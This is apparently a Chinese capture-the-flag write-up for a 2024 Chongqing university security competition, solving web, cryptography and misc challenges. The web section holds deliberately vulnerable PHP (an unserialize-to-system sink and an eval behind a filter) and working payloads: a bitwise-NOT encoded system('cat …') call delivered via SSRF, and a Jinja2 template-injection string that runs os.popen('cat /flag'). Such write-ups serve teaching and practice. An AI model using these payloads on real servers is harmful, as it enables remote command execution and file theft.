2024重庆市大学生信息安全竞赛

· Web安全 Crypto密码学 Misc杂项 · 阅读 -

Web

web1

打开后网站显示nothing,自此其他师傅说还是dirsearch好用,御剑扫描量太大了

dirsearch目录扫描

image-20241208164215694

其中

1
2
3
4
5
6
7
8
9
10
<?php
class Flag{
public $cmd='whoami';
public function __destruct()
{
system($this->cmd);
}
}
unserialize($_GET['flag']);
?>

一个简单的反序列化

image-20241208170857499

Web2

弱密码爆出密码为password,提示非本地用户,xff绕过无果,有提示快照,在输入用户处构造ssrf的本地用户

http://127.0.0.1/fllllag.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
<?php
if ($_SERVER['REMOTE_ADDR'] == '127.0.0.1') {
header("Content-Type:text/html;charset=utf-8");
error_reporting(0);
highlight_file(__FILE__);

if (isset($_GET['flag'])) {
$flag = $_GET['flag'];

if (preg_match('/\s|\t|\r|\n|\+/', $flag)) {
die("waf!");
}


if (preg_match('/\[|\^|\]|\"|\\-|\\$|\*|\?|\<|\>|\\=|\`/', $flag)) {
die("waf!!");
}

if (preg_match('/[a-zA-Z]/i', $flag)) {
die("waf!!");
}

echo "你能拿到flag么?";
eval($flag);
} else {
echo "细心观察";
}
} else {
echo("非本地用户");
}
?>

构造无字母取反rce

1
2
3
4
5
6
<?php
$ans1='system';//函数名
$ans2='cat 327a6c4304ad5938eaf0efb6cc3e53dc.php';//命令
$data1=('~'.urlencode(~$ans1));
$data2=('~'.urlencode(~$ans2));
echo ('('.$data1.')'.'('.$data2.')'.';');
1
adminUser=http%3A%2F%2F127.0.0.1%2Ffllllag.php?flag=(~%8C%86%8C%8B%9A%92)(~%9C%9E%8B%DF%CC%CD%C8%9E%C9%9C%CB%CC%CF%CB%9E%9B%CA%C6%CC%C7%9A%9E%99%CF%9A%99%9D%C9%9C%9C%CC%9A%CA%CC%9B%9C%D1%8F%97%8F);&adminPwd=

image-20241208141824835

Web3

过滤了双括号

用{%print()%}绕过,最后直接现成函数self打

1
{"name":"{%print(self.__init__.__globals__.__builtins__['__import__']('os').popen('cat /flag').read())%}"}

image-20241208141950249

Web4

image-20241208121047658

Crypto

Affine

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
flag = "flag{*********}"
def extended_gcd(a, b):
if a == 0:
return (b, 0, 1)
gcd, x1, y1 = extended_gcd(b % a, a)
x = y1 - (b // a) * x1
y = x1
return (gcd, x, y)

def mod_inverse(a, m):
gcd, x, y = extended_gcd(a, m)
return x % m

m = 128
b = 3

def encrypt(text):
encrypted = []
for char in text:
ascii_code = ord(char)
a = 3 if ascii_code % 2 != 0 else 127
encrypted_char = (a * ascii_code + b) % m
encrypted.append(encrypted_char)
return encrypted


output = encrypt(flag)
print(output)
#[29, 23, 38, 56, 116, 34, 81, 75, 28, 44, 34, 44, 40, 10, 31, 79, 29, 44, 10, 79, 29, 44, 40, 10, 38, 33, 38, 50, 10, 79, 44, 31, 50, 28, 33, 44, 77, 31, 46, 75, 33, 122]

extended_gcd和mod_inverse用于计算模逆元

对于一个整数a,如果存在另一个整数x,使得:

a∗x≡1( mod m)a * x ≡ 1 (\bmod m)

也就是余数为1,则称x为a关于模m的乘法逆元,简称模逆元

下面是一个仿射密码,其判断flag每个字符ASCII值的奇偶来确定a的取值

仿射密码解密公式:

D(y)=a−1(y−b) mod mD(y) = a^{-1} (y - b) \bmod m

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
def extended_gcd(a, b):
if a == 0:
return (b, 0, 1)
gcd, x1, y1 = extended_gcd(b % a, a)
x = y1 - (b // a) * x1
y = x1
return (gcd, x, y)

def mod_inverse(a, m):
gcd, x, y = extended_gcd(a, m)
return x % m

m = 128
b = 3

def decrypt(encrypted):
decrypted = []
for enc_char in encrypted:
enc_char = (enc_char - b) % m

a = 3 if enc_char % 2 != 0 else 127

a_iv = mod_inverse(a, m)

ascii_code = (a_iv * enc_char) % m
decrypted_char = chr(ascii_code)
decrypted.append(decrypted_char)

return ''.join(decrypted)

output = [29, 23, 38, 56, 116, 34, 81, 75, 28, 44, 34, 44, 40, 10, 31, 79, 29, 44, 10, 79, 29, 44, 40, 10, 38, 33, 38, 50, 10, 79, 44, 31, 50, 28, 33, 44, 77, 31, 46, 75, 33, 122]
decrypted_flag = decrypt(output)
print(decrypted_flag)

ez_moooo

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
from functools import reduce
flag = "flag{*******}"
def cube_ascii(s: str) -> int:
total = 0
for char in s:
total <<= 8
total +=pow(ord(char),3) % 113
return total


allowed_characters = "abcdefghijklmnopqrstuvwxyz012345676879_-{}"
assert(reduce(lambda is_valid, char: is_valid and (char in allowed_characters), flag, True))

# 进行加密
output = cube_ascii(flag)
print(output)
#13886761501271471256742975735606875665043393810046672609286397781950883002410651016649476270428546593

cube_ascii函数对flag每个字符先进行向左移8位,相当于*256

1
2
3
4
5
6
7
假设一个数 1010 (二进制) = 10 (十进制)

左移1位:
10100 = 20 (十进制) // 相当于 10 * 2

左移2位:
101000 = 40 (十进制) // 相当于 10 * 2 * 2 = 10 * 4

然后验证 flag 中的每个字符都在允许的字符集中

我们通过allowed_characters确定所有允许字符的立方模113结果到字符的映射,之前从左到右,现在就从右到左还原即可

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
def cr(output: int) -> str:
allowed_characters = "abcdefghijklmnopqrstuvwxyz012345676879_-{}"
result = []

while output > 0:
last_eight = output & ((1 << 8) - 1)
for char in allowed_characters:
if (pow(ord(char), 3) % 113) == last_eight:
result.append(char)
break
output >>= 8

return ''.join(result[::-1])

output = 13886761501271471256742975735606875665043393810046672609286397781950883002410651016649476270428546593
flag = cr(output)
print(flag)

ez_rsa

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
import libnum
from Crypto.Util.number import *
from gmpy2 import gcd

flag = b"flag{*********}"
m1 = libnum.s2n(flag[:18])
m2 = bytes_to_long(flag[18:])
p1 = getPrime(512)
q1 = getPrime(512)
n1 = p1 * q1
e1 = 0x10001
c1 = pow(m1, e1, n1)
hint1 = p1 & q1
hint2 = p1 | q1

print(f'n1={n1}')
print(f'c1={c1}')
print(f'hint1={hint1}')
print(f'hint2={hint2}')

p2 = getPrime(1024)
q2 = getPrime(1024)
n2 = p2 * q2
e = 0x3
c2 = pow(m2, e, n2)
hint3 = p1*p2+q1*q2

print(f"c2 = {c2}")
print(f"n2 = {n2}")
print(f"hint3 = {hint3}")

# n1=104803499480870386721537859758099203109331198777598222679085332319843634133277664207132715980491635286369435568392948520996716629229045835458101718776021067687639819960151582826151016379360702255558855924237164041839629648779474497583878687357197717633109486259932721636114000744017464535339102439372629511181
# c1=258237062635320301593575424053133939031291470395564726247322634339023681114277060601441361065411547766696430126753240323385082752004517537721944059687823992965956167530242913140083306711561873363317164195518421594789543766263725648552530712086398318806583420313356753465704190466892101760494299094084372066
# hint1=7795583829027195905098378518841836562665170646143221276306879199519593629647803207777092866296906064096364673810612759721990880687404270257111673022611475
# hint2=13406612165231244773591159044914831968821734556283371112823017108948120436906586168699603681560367890975658071137103013635370970852357700174342401008531295
# c2 = 1361719901112289653500688221887423319847489954365641888597751806416030068330222131419512032202743347772481089917456722603445810407504317828423566766739135539673341278912357
# n2 = 17377956345671192037376204148281908519109216638710686731681216872688832763406331530133053512892040231309808439931565430698221414038833167338347795590727052223094140639079039908655830636810928233991055924349419514548194785948465808270521602513107617010519604108629986216102499894362393343017059997300375831769154725504033592533244494903926576851097711976797710615933151398854952757800885791902874009427703420809465676792289820335413912919868937049702745879259962112866293026589889134349774504858682436037859261791058617864587856389374126388908339950889228010546500800328111189027357042923953753790174937230316365689299
# hint3 = 2979463055819568967739587794317478758457080575342509137759533589992512556188711404867503427529575474793179602667067241298157928169001173655029360115612897492671251718713221606068633849524836696516494868954888951258387077768278851843194406106111746523801789681839129657180219071204292703851243788367130874633062814815521700040288870873254219971259819946313141886462043553254461378983177286659705414902132948381127424226403681699085898956656526637033546417509224320

对于前半部分

1
2
3
hint1 = p1 & q1
hint2 = p1 | q1
p + q = (p∣q) + (p & q)

无进位部分:p∣q,它表示不考虑进位的情况下各位的和。

进位部分:p&q,它表示只有在两个数的对应位都为 1 时才会有进位

因此解一个方程即可

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
from sympy import symbols, solve

n1=104803499480870386721537859758099203109331198777598222679085332319843634133277664207132715980491635286369435568392948520996716629229045835458101718776021067687639819960151582826151016379360702255558855924237164041839629648779474497583878687357197717633109486259932721636114000744017464535339102439372629511181
c1=258237062635320301593575424053133939031291470395564726247322634339023681114277060601441361065411547766696430126753240323385082752004517537721944059687823992965956167530242913140083306711561873363317164195518421594789543766263725648552530712086398318806583420313356753465704190466892101760494299094084372066
hint1=7795583829027195905098378518841836562665170646143221276306879199519593629647803207777092866296906064096364673810612759721990880687404270257111673022611475
hint2=13406612165231244773591159044914831968821734556283371112823017108948120436906586168699603681560367890975658071137103013635370970852357700174342401008531295
c2 = 1361719901112289653500688221887423319847489954365641888597751806416030068330222131419512032202743347772481089917456722603445810407504317828423566766739135539673341278912357
n2 = 17377956345671192037376204148281908519109216638710686731681216872688832763406331530133053512892040231309808439931565430698221414038833167338347795590727052223094140639079039908655830636810928233991055924349419514548194785948465808270521602513107617010519604108629986216102499894362393343017059997300375831769154725504033592533244494903926576851097711976797710615933151398854952757800885791902874009427703420809465676792289820335413912919868937049702745879259962112866293026589889134349774504858682436037859261791058617864587856389374126388908339950889228010546500800328111189027357042923953753790174937230316365689299
hint3 = 2979463055819568967739587794317478758457080575342509137759533589992512556188711404867503427529575474793179602667067241298157928169001173655029360115612897492671251718713221606068633849524836696516494868954888951258387077768278851843194406106111746523801789681839129657180219071204292703851243788367130874633062814815521700040288870873254219971259819946313141886462043553254461378983177286659705414902132948381127424226403681699085898956656526637033546417509224320

plus = hint1 + hint2
multiplication = n1

p1, q1 = symbols('p1 q1')
eq1 = p1 + q1 -plus
eq2 = p1*q1 - multiplication

sol = solve((eq1, eq2), (p1, q1))
print(sol)
1
(7847958105320818197925159136669346572180983459776391007543923895008548978729306938925814051052527871174048895728496302815429246344989795963579392121545747, 13354237888937622480764378427087321959305921742650201381585972413459165087825082437550882496804746083897973849219219470541932605194772174467874681909597023)

后半部分低加密指数攻击

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
import gmpy2
from Crypto.Util.number import *

n1=104803499480870386721537859758099203109331198777598222679085332319843634133277664207132715980491635286369435568392948520996716629229045835458101718776021067687639819960151582826151016379360702255558855924237164041839629648779474497583878687357197717633109486259932721636114000744017464535339102439372629511181
c1=258237062635320301593575424053133939031291470395564726247322634339023681114277060601441361065411547766696430126753240323385082752004517537721944059687823992965956167530242913140083306711561873363317164195518421594789543766263725648552530712086398318806583420313356753465704190466892101760494299094084372066
hint1=7795583829027195905098378518841836562665170646143221276306879199519593629647803207777092866296906064096364673810612759721990880687404270257111673022611475
hint2=13406612165231244773591159044914831968821734556283371112823017108948120436906586168699603681560367890975658071137103013635370970852357700174342401008531295
c2 = 1361719901112289653500688221887423319847489954365641888597751806416030068330222131419512032202743347772481089917456722603445810407504317828423566766739135539673341278912357
n2 = 17377956345671192037376204148281908519109216638710686731681216872688832763406331530133053512892040231309808439931565430698221414038833167338347795590727052223094140639079039908655830636810928233991055924349419514548194785948465808270521602513107617010519604108629986216102499894362393343017059997300375831769154725504033592533244494903926576851097711976797710615933151398854952757800885791902874009427703420809465676792289820335413912919868937049702745879259962112866293026589889134349774504858682436037859261791058617864587856389374126388908339950889228010546500800328111189027357042923953753790174937230316365689299
hint3 = 2979463055819568967739587794317478758457080575342509137759533589992512556188711404867503427529575474793179602667067241298157928169001173655029360115612897492671251718713221606068633849524836696516494868954888951258387077768278851843194406106111746523801789681839129657180219071204292703851243788367130874633062814815521700040288870873254219971259819946313141886462043553254461378983177286659705414902132948381127424226403681699085898956656526637033546417509224320

p1 = 7847958105320818197925159136669346572180983459776391007543923895008548978729306938925814051052527871174048895728496302815429246344989795963579392121545747
q1 = 13354237888937622480764378427087321959305921742650201381585972413459165087825082437550882496804746083897973849219219470541932605194772174467874681909597023
e1 = 65537
e2 = 3

d1 = gmpy2.invert(e1, (p1-1)*(q1-1))
m1 = pow(c1, d1, n1)

def de(c, e, n):
k = 0
while True:
mm = c + n*k
result, flag = gmpy2.iroot(mm, e)
if True == flag:
return result
k += 1

m2 = de(c2,e2,n2)
print(long_to_bytes(m1)+long_to_bytes(m2))

What is this encryption

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
import os
import hashlib
import hmac
import secrets
from base64 import b64encode
from typing import Dict


class WhatisthisEncryption:

def __init__(self, rounds: int = 3):
self.rounds = rounds
self._substitution_box = self._generate_sbox()
self._inverse_sbox = {v: k for k, v in self._substitution_box.items()}

def _generate_sbox(self) -> Dict[int, int]:
numbers = list(range(256))
secrets.SystemRandom().shuffle(numbers)
return {i: numbers[i] for i in range(256)}

def _key_stretching(self, key: bytes, salt: bytes) -> bytes:
stretched_key = key
for i in range(1000):
stretched_key = hashlib.sha256(
stretched_key + salt + str(i).encode()
).digest()
if i % 2 == 0:
stretched_key = bytes(self._substitution_box[b] for b in stretched_key)
return stretched_key

def _apply_substitution(self, data: bytes, encrypt: bool = True) -> bytes:
sbox = self._substitution_box if encrypt else self._inverse_sbox
return bytes(sbox[b] for b in data)

def _custom_xor_round(self, data: bytes, round_key: bytes) -> bytes:
result = bytearray(len(data))
for i in range(len(data)):
key_byte = round_key[i % len(round_key)]
transform = (key_byte * (i + 1)) % 256
result[i] = data[i] ^ key_byte ^ transform
return bytes(result)

def _pad(self, data: bytes) -> bytes:
padding_length = 16 - (len(data) % 16)
return data + bytes([padding_length] * padding_length)

def encrypt(self, message: str, master_password: str) -> Dict[str, str]:
salt = os.urandom(16)
iv = os.urandom(16)

message_bytes = message.encode("utf-8")
padded_message = self._pad(message_bytes)

master_key = hashlib.pbkdf2_hmac(
"sha256", master_password.encode(), salt, 100000
)

current_data = padded_message

for round_num in range(self.rounds):
round_key = self._key_stretching(
master_key + round_num.to_bytes(4, "big"), salt + iv
)

current_data = self._apply_substitution(current_data)
current_data = self._custom_xor_round(current_data, round_key)
current_data = bytes(
(b + round_num + i) % 256 for i, b in enumerate(current_data)
)

mac = hmac.new(master_key, current_data, hashlib.sha256).digest()

return {
"ciphertext": b64encode(current_data).decode("utf-8"),
"salt": b64encode(salt).decode("utf-8"),
"iv": b64encode(iv).decode("utf-8"),
"mac": b64encode(mac).decode("utf-8"),
"substitution_box": self._substitution_box,
}


def main():
encryptor = WhatisthisEncryption(rounds=3)
flag = "flag{**********}"
password = "***" #三位密钥,由小写字母和数字组成

encrypted_data = encryptor.encrypt(flag, password)
print("\nEncrypted data:")
for key, value in encrypted_data.items():
print(f"{key}: {value}")


if __name__ == "__main__":
main()

# Encrypted data:
# ciphertext: hkR7MynjZ8q+SWt2slweibeV6A9VzteUmFk5N5bq3uTQamn2DA+SppM7JRyTovhh
# salt: AVuGySi1RQCXZCnA+MnW2Q==
# iv: YWnqcnUCTXPySJDnnTIMvw==
# mac: rxSfQmSLqBPolmRRDgg0iNlMy16oc9SnGXl8vuXODls=
# substitution_box: {0: 21, 1: 35, 2: 71, 3: 126, 4: 233, 5: 178, 6: 26, 7: 151, 8: 138, 9: 227, 10: 156, 11: 17, 12: 14, 13: 86, 14: 146, 15: 195, 16: 41, 17: 171, 18: 107, 19: 168, 20: 139, 21: 208, 22: 48, 23: 137, 24: 109, 25: 25, 26: 120, 27: 62, 28: 70, 29: 50, 30: 40, 31: 102, 32: 248, 33: 7, 34: 141, 35: 136, 36: 28, 37: 140, 38: 49, 39: 124, 40: 82, 41: 117, 42: 236, 43: 161, 44: 210, 45: 132, 46: 237, 47: 182, 48: 95, 49: 175, 50: 207, 51: 231, 52: 170, 53: 217, 54: 249, 55: 250, 56: 67, 57: 130, 58: 1, 59: 91, 60: 174, 61: 224, 62: 186, 63: 99, 64: 3, 65: 60, 66: 73, 67: 68, 68: 222, 69: 163, 70: 75, 71: 128, 72: 18, 73: 200, 74: 219, 75: 133, 76: 179, 77: 92, 78: 162, 79: 84, 80: 90, 81: 131, 82: 110, 83: 196, 84: 52, 85: 63, 86: 205, 87: 38, 88: 154, 89: 58, 90: 147, 91: 148, 92: 85, 93: 211, 94: 33, 95: 8, 96: 127, 97: 206, 98: 123, 99: 247, 100: 190, 101: 108, 102: 153, 103: 96, 104: 88, 105: 220, 106: 98, 107: 94, 108: 244, 109: 81, 110: 173, 111: 101, 112: 157, 113: 184, 114: 106, 115: 209, 116: 229, 117: 245, 118: 55, 119: 251, 120: 164, 121: 100, 122: 125, 123: 252, 124: 83, 125: 39, 126: 159, 127: 185, 128: 149, 129: 46, 130: 166, 131: 116, 132: 241, 133: 76, 134: 160, 135: 22, 136: 172, 137: 180, 138: 253, 139: 238, 140: 30, 141: 53, 142: 15, 143: 42, 144: 34, 145: 27, 146: 103, 147: 12, 148: 66, 149: 121, 150: 79, 151: 32, 152: 246, 153: 44, 154: 57, 155: 228, 156: 134, 157: 143, 158: 218, 159: 112, 160: 216, 161: 10, 162: 198, 163: 118, 164: 93, 165: 144, 166: 230, 167: 201, 168: 61, 169: 142, 170: 191, 171: 199, 172: 59, 173: 214, 174: 226, 175: 152, 176: 9, 177: 192, 178: 202, 179: 29, 180: 13, 181: 78, 182: 89, 183: 11, 184: 74, 185: 6, 186: 194, 187: 104, 188: 72, 189: 232, 190: 254, 191: 37, 192: 105, 193: 240, 194: 155, 195: 80, 196: 129, 197: 19, 198: 158, 199: 115, 200: 51, 201: 242, 202: 181, 203: 113, 204: 176, 205: 145, 206: 213, 207: 24, 208: 234, 209: 239, 210: 243, 211: 183, 212: 31, 213: 225, 214: 97, 215: 119, 216: 255, 217: 47, 218: 212, 219: 204, 220: 43, 221: 187, 222: 0, 223: 188, 224: 193, 225: 111, 226: 87, 227: 45, 228: 2, 229: 114, 230: 4, 231: 203, 232: 165, 233: 150, 234: 65, 235: 167, 236: 169, 237: 223, 238: 56, 239: 235, 240: 54, 241: 16, 242: 177, 243: 23, 244: 135, 245: 215, 246: 197, 247: 221, 248: 36, 249: 77, 250: 69, 251: 5, 252: 20, 253: 64, 254: 189, 255: 122}

我们先来看WhatisthisEncryption这个类的工作原理

初始化阶段

1
2
3
4
def __init__(self, rounds: int = 3):
self.rounds = rounds
self._substitution_box = self._generate_sbox()
self._inverse_sbox = {v: k for k, v in self._substitution_box.items()}

初始化阶段,设置加密轮数(默认3轮);生成随机替换盒和其逆替换盒,其实现为_generate_sbox()

随机替换盒

1
2
3
4
def _generate_sbox(self) -> Dict[int, int]:
numbers = list(range(256))
secrets.SystemRandom().shuffle(numbers)
return {i: numbers[i] for i in range(256)}

先生成一个包含 0 到 255 的所有整数的列表,然后随机打乱 numbers 列表中的元素顺序,结果返回一个包含 256 个键值对的字典,每个键对应一个被随机化的值

逆替换盒生成的字典将原来的值 v 作为新的键,原来的键 k 作为新的值,从而实现反向映射

密钥扩展

1
2
3
4
5
6
7
8
9
def _key_stretching(self, key: bytes, salt: bytes) -> bytes:
stretched_key = key
for i in range(1000):
stretched_key = hashlib.sha256(
stretched_key + salt + str(i).encode()
).digest()
if i % 2 == 0:
stretched_key = bytes(self._substitution_box[b] for b in stretched_key)
return stretched_key

接收加盐的密钥,进行1000次迭代,每次迭代对当前的 stretched_key、salt 以及当前的迭代计数 i进行哈希处理;在偶数的迭代中,使用替换盒(_generate_sbox)对生成的 stretched_key 进行字节替换

主加密过程

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
def encrypt(self, message: str, master_password: str) -> Dict[str, str]:
salt = os.urandom(16)
iv = os.urandom(16)

message_bytes = message.encode("utf-8")
padded_message = self._pad(message_bytes)

master_key = hashlib.pbkdf2_hmac(
"sha256", master_password.encode(), salt, 100000
)

current_data = padded_message

for round_num in range(self.rounds):
round_key = self._key_stretching(
master_key + round_num.to_bytes(4, "big"), salt + iv
)

current_data = self._apply_substitution(current_data)
current_data = self._custom_xor_round(current_data, round_key)
current_data = bytes(
(b + round_num + i) % 256 for i, b in enumerate(current_data)
)

mac = hmac.new(master_key, current_data, hashlib.sha256).digest()

return {
"ciphertext": b64encode(current_data).decode("utf-8"),
"salt": b64encode(salt).decode("utf-8"),
"iv": b64encode(iv).decode("utf-8"),
"mac": b64encode(mac).decode("utf-8"),
"substitution_box": self._substitution_box,
}

初始化盐salt和随机向量IV,调用 _pad 方法对消息进行填充,使用 PBKDF2 算法对主密码进行密钥派生(使用了盐和 100000 次迭代);

1
2
3
4
5
6
7
8
9
10
for round_num in range(self.rounds):
round_key = self._key_stretching(
master_key + round_num.to_bytes(4, "big"), salt + iv
)

current_data = self._apply_substitution(current_data)
current_data = self._custom_xor_round(current_data, round_key)
current_data = bytes(
(b + round_num + i) % 256 for i, b in enumerate(current_data)
)

这里执行多次轮加密,先利用主密钥、轮次编号、盐、向量进行密钥拉伸,接着对刚才填充后的数据中的每个字节基于替换盒的映射进行转换(_apply_substitution),其次又进行自定义的异或运算(_custom_xor_round),最后每个字节b都会加上当前的轮次编号和其在数据中的索引i,然后再对256取模

1
mac = hmac.new(master_key, current_data, hashlib.sha256).digest()

使用 HMAC-SHA256 生成消息认证码,确保数据的完整性

最后返回各个结果

由于密码很短,给了我们爆破的可能性,当mac验证匹配后就找到了正确的密钥,剩下的就是逆向了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
import base64
import hashlib
import hmac
import itertools
import string

class WhatisthisDecryption:
def __init__(self, rounds: int = 3):
self.rounds = rounds
self._substitution_box = {0: 21, 1: 35, 2: 71, 3: 126, 4: 233, 5: 178, 6: 26, 7: 151, 8: 138, 9: 227, 10: 156, 11: 17, 12: 14, 13: 86, 14: 146, 15: 195, 16: 41, 17: 171, 18: 107, 19: 168, 20: 139, 21: 208, 22: 48, 23: 137, 24: 109, 25: 25, 26: 120, 27: 62, 28: 70, 29: 50, 30: 40, 31: 102, 32: 248, 33: 7, 34: 141, 35: 136, 36: 28, 37: 140, 38: 49, 39: 124, 40: 82, 41: 117, 42: 236, 43: 161, 44: 210, 45: 132, 46: 237, 47: 182, 48: 95, 49: 175, 50: 207, 51: 231, 52: 170, 53: 217, 54: 249, 55: 250, 56: 67, 57: 130, 58: 1, 59: 91, 60: 174, 61: 224, 62: 186, 63: 99, 64: 3, 65: 60, 66: 73, 67: 68, 68: 222, 69: 163, 70: 75, 71: 128, 72: 18, 73: 200, 74: 219, 75: 133, 76: 179, 77: 92, 78: 162, 79: 84, 80: 90, 81: 131, 82: 110, 83: 196, 84: 52, 85: 63, 86: 205, 87: 38, 88: 154, 89: 58, 90: 147, 91: 148, 92: 85, 93: 211, 94: 33, 95: 8, 96: 127, 97: 206, 98: 123, 99: 247, 100: 190, 101: 108, 102: 153, 103: 96, 104: 88, 105: 220, 106: 98, 107: 94, 108: 244, 109: 81, 110: 173, 111: 101, 112: 157, 113: 184, 114: 106, 115: 209, 116: 229, 117: 245, 118: 55, 119: 251, 120: 164, 121: 100, 122: 125, 123: 252, 124: 83, 125: 39, 126: 159, 127: 185, 128: 149, 129: 46, 130: 166, 131: 116, 132: 241, 133: 76, 134: 160, 135: 22, 136: 172, 137: 180, 138: 253, 139: 238, 140: 30, 141: 53, 142: 15, 143: 42, 144: 34, 145: 27, 146: 103, 147: 12, 148: 66, 149: 121, 150: 79, 151: 32, 152: 246, 153: 44, 154: 57, 155: 228, 156: 134, 157: 143, 158: 218, 159: 112, 160: 216, 161: 10, 162: 198, 163: 118, 164: 93, 165: 144, 166: 230, 167: 201, 168: 61, 169: 142, 170: 191, 171: 199, 172: 59, 173: 214, 174: 226, 175: 152, 176: 9, 177: 192, 178: 202, 179: 29, 180: 13, 181: 78, 182: 89, 183: 11, 184: 74, 185: 6, 186: 194, 187: 104, 188: 72, 189: 232, 190: 254, 191: 37, 192: 105, 193: 240, 194: 155, 195: 80, 196: 129, 197: 19, 198: 158, 199: 115, 200: 51, 201: 242, 202: 181, 203: 113, 204: 176, 205: 145, 206: 213, 207: 24, 208: 234, 209: 239, 210: 243, 211: 183, 212: 31, 213: 225, 214: 97, 215: 119, 216: 255, 217: 47, 218: 212, 219: 204, 220: 43, 221: 187, 222: 0, 223: 188, 224: 193, 225: 111, 226: 87, 227: 45, 228: 2, 229: 114, 230: 4, 231: 203, 232: 165, 233: 150, 234: 65, 235: 167, 236: 169, 237: 223, 238: 56, 239: 235, 240: 54, 241: 16, 242: 177, 243: 23, 244: 135, 245: 215, 246: 197, 247: 221, 248: 36, 249: 77, 250: 69, 251: 5, 252: 20, 253: 64, 254: 189, 255: 122}
self._inverse_sbox = {v: k for k, v in self._substitution_box.items()}

def _key_stretching(self, key: bytes, salt: bytes) -> bytes:
stretched_key = key
for i in range(1000):
stretched_key = hashlib.sha256(stretched_key + salt + str(i).encode()).digest()
if i % 2 == 0:
stretched_key = bytes(self._substitution_box[b] for b in stretched_key)
return stretched_key

def _apply_substitution(self, data: bytes, encrypt: bool = True) -> bytes:
sbox = self._substitution_box if encrypt else self._inverse_sbox
return bytes(sbox[b] for b in data)

def _custom_xor_round(self, data: bytes, round_key: bytes) -> bytes:
result = bytearray(len(data))
for i in range(len(data)):
key_byte = round_key[i % len(round_key)]
transform = (key_byte * (i + 1)) % 256
result[i] = data[i] ^ key_byte ^ transform
return bytes(result)

def decrypt(self, encrypted_data: dict, password: str) -> str:
ciphertext = base64.b64decode(encrypted_data['ciphertext'])
salt = base64.b64decode(encrypted_data['salt'])
iv = base64.b64decode(encrypted_data['iv'])
mac = base64.b64decode(encrypted_data['mac'])

master_key = hashlib.pbkdf2_hmac(
"sha256", password.encode(), salt, 100000
)

# 验证MAC
calculated_mac = hmac.new(master_key, ciphertext, hashlib.sha256).digest()
if calculated_mac != mac:
return None

current_data = ciphertext

# 逆向每一轮加密
for round_num in range(self.rounds - 1, -1, -1):
# 逆向位置依赖的偏移
current_data = bytes((b - round_num - i) % 256 for i, b in enumerate(current_data))
# 生成轮密钥
round_key = self._key_stretching(
master_key + round_num.to_bytes(4, "big"), salt + iv
)
# 逆向XOR运算
current_data = self._custom_xor_round(current_data, round_key)
# 逆向替换盒
current_data = self._apply_substitution(current_data, encrypt=False)
# 移除填充
padding_length = current_data[-1]
plaintext = current_data[:-padding_length]

try:
return plaintext.decode('utf-8')
except:
return None

def crack_password():
encrypted_data = {
'ciphertext': 'hkR7MynjZ8q+SWt2slweibeV6A9VzteUmFk5N5bq3uTQamn2DA+SppM7JRyTovhh',
'salt': 'AVuGySi1RQCXZCnA+MnW2Q==',
'iv': 'YWnqcnUCTXPySJDnnTIMvw==',
'mac': 'rxSfQmSLqBPolmRRDgg0iNlMy16oc9SnGXl8vuXODls='
}

decryptor = WhatisthisDecryption()

# 生成所有可能的3位密码
chars = string.ascii_lowercase + string.digits
for password in itertools.product(chars, repeat=3):
password = ''.join(password)
result = decryptor.decrypt(encrypted_data, password)
if result and result.startswith('flag{'):
print(f"找到密码: {password}")
print(f"解密结果: {result}")
return
crack_password()
1
2
找到密码: ca9
解密结果: flag{86a886d4-28ca-44f8-81ff-1b7be9c4968c}

pacKKKK

背包密码,格密码下的一个分支,这个要重新学了,以前遇到过一个NTRU算法,但当时学的太难了,先搁着吧,空了在学

Misc

签到题

逐帧查看

image-20241208160129860

image-20241208160149142

osint

c87624d24e612a85ad23017b6ef97995

2dc58c6ce76eedb9e2552c60ee783f04_720

九九归一

1
69 56 42 4f 52 77 30 4b 47 67 6f 41 41 41 41 4e 53 55 68 45 55 67 41 41 41 44 77 41 41 41 41 38 41 51 41 41 41 41 41 53 68 2b 54 66 41 41 41 41 55 45 6c 45 51 56 52 34 6e 4d 32 51 73 51 33 41 4d 41 67 45 6a 38 67 39 33 6e 2f 4b 5a 34 4a 50 45 62 6d 4c 6f 50 55 33 67 48 51 36 42 48 42 64 62 41 75 65 4d 2f 34 32 46 51 46 71 6d 41 57 34 30 4f 41 42 79 49 35 5a 58 39 6b 31 65 47 4a 33 4b 79 44 41 55 43 31 7a 30 74 30 46 6b 50 4c 6b 73 58 4c 38 54 79 52 69 4e 38 77 4c 45 50 55 54 41 79 77 36 2b 73 45 41 41 41 41 41 53 55 56 4f 52 4b 35 43 59 49 49 3d 69 56 42 4f 52 77 30 4b 47 67 6f 41 41 41 41 4e 53 55 68 45 55 67 41 41 41 44 77 41 41 41 41 38 41 51 41 41 41 41 41 53 68 2b 54 66 41 41 41 41 58 30 6c 45 51 56 52 34 6e 49 57 52 4d 51 36 41 4d 41 77 44 4c 34 6a 64 2f 50 2b 56 37 67 76 4d 55 42 59 45 53 6a 70 5a 36 75 57 69 4a 41 57 43 6c 54 70 34 33 6a 63 41 4d 59 35 37 42 69 77 